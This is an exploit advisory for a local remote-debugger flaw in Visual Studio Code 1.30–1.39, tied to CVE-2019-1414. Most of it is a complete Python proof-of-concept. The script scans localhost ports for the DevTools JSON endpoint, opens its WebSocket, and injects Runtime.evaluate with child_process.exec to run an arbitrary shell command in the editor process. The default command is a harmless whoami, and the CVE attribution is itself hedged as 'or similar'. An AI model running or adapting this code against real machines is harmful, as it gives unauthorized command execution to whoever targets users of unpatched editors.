=============================================================================================================================================
| # Title     : Visual Studio 1.30.0 → 1.39.0 Remote Debugger Exploit                                                                       |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
| # Vendor    : https://code.visualstudio.com/                                                                                              |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/210646/ & CVE-2019-1414 https://packetstorm.news/download/210646

[+] Summary : vulnerability in Visual Studio Code affecting versions 1.30.0 through 1.39.0. 
              In these versions, the remote debugger (Node.js Debug Listener) was enabled by default and listened on a local TCP port without proper restrictions. This allowed any untrusted local user to:
              Enumerate the listening port Connect to the debugger endpoint Access the internal DevTools JSON API
              Interact with the running VS Code process Potentially escape sandboxes or manipulate the editor environment
              The issue was discovered and reported by Tavis Ormandy (Google Project Zero). 
			  Microsoft patched the vulnerability in Visual Studio Code 1.39.1, disabling the debug listener by default and improving access restrictions.
              Affected users should upgrade to the patched version or later to avoid unauthorized debugger access by local users.

[+]  POC : python poc.py

#!/usr/bin/env python3
"""
VS Code Remote Debugger Exploit
by indoushka
CVE-2019-1414 (or similar - this was patched in later versions)
"""

import requests
import json
import websocket
import sys
import subprocess
import threading
from urllib.parse import urlparse

def find_vscode_debug_ports():
    """Find potential VS Code debugger ports"""
    ports = []
    try:
        # Try netstat approach
        result = subprocess.run(['netstat', '-4nlt'], capture_output=True, text=True)
        for line in result.stdout.split('\n'):
            if 'LISTEN' in line and '127.0.0.1' in line:
                parts = line.split()
                if len(parts) > 3:
                    addr = parts[3]
                    if '127.0.0.1:' in addr:
                        port = addr.split(':')[-1]
                        ports.append(int(port))
    except:
        pass
    
    # Common VS Code debug ports range
    common_ports = list(range(59000, 65535))
    return ports + common_ports

def check_debugger_endpoint(port):
    """Check if this port has VS Code debugger"""
    try:
        response = requests.get(f'http://localhost:{port}/json/list', timeout=2)
        if response.status_code == 200:
            data = response.json()
            if data and len(data) > 0:
                return data
    except:
        pass
    return None

def exploit_websocket(ws_url, command):
    """Execute command through WebSocket debug interface"""
    try:
        # Connect to WebSocket
        ws = websocket.create_connection(ws_url)
        
        # Debugger protocol messages to execute command
        setup_messages = [
            {
                "id": 1,
                "method": "Runtime.evaluate",
                "params": {
                    "expression": f"require('child_process').exec('{command}', (error, stdout, stderr) => {{ console.log(stdout); }})",
                    "includeCommandLineAPI": True,
                    "silent": False,
                    "returnByValue": False
                }
            }
        ]
        
        for msg in setup_messages:
            ws.send(json.dumps(msg))
            response = ws.recv()
            print(f"[+] Response: {response}")
            
        ws.close()
        return True
    except Exception as e:
        print(f"[-] WebSocket exploit failed: {e}")
        return False

def main():
    print("[*] VS Code Remote Debugger Exploit PoC")
    print("[*] Scanning for debugger endpoints...")
    
    # Find potential ports
    ports = find_vscode_debug_ports()
    print(f"[*] Checking {len(ports)} potential ports...")
    
    vulnerable_endpoints = []
    
    for port in ports[:100]:  # Limit to first 100 ports for speed
        sys.stdout.write(f"\r[*] Checking port {port}...")
        sys.stdout.flush()
        
        endpoints = check_debugger_endpoint(port)
        if endpoints:
            print(f"\n[+] Found debugger on port {port}!")
            vulnerable_endpoints.extend(endpoints)
    
    if not vulnerable_endpoints:
        print("\n[-] No vulnerable debug endpoints found")
        return
    
    print(f"\n[+] Found {len(vulnerable_endpoints)} vulnerable endpoint(s)")
    
    for endpoint in vulnerable_endpoints:
        print(f"\n[+] Target: {endpoint.get('title', 'Unknown')}")
        print(f"    Type: {endpoint.get('type', 'Unknown')}")
        print(f"    WebSocket: {endpoint.get('webSocketDebuggerUrl', 'N/A')}")
        
        # Test with a simple command
        ws_url = endpoint.get('webSocketDebuggerUrl')
        if ws_url:
            # Replace with your test command
            test_command = "whoami > /tmp/vscode_poc.txt && echo 'Exploit successful'"
            if sys.platform == "win32":
                test_command = "whoami > C:\\temp\\vscode_poc.txt && echo Exploit successful"
            
            print(f"[*] Attempting to execute: {test_command}")
            if exploit_websocket(ws_url, test_command):
                print("[+] Command execution attempted!")
            else:
                print("[-] Command execution failed")

if __name__ == "__main__":
    main()
	
	
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================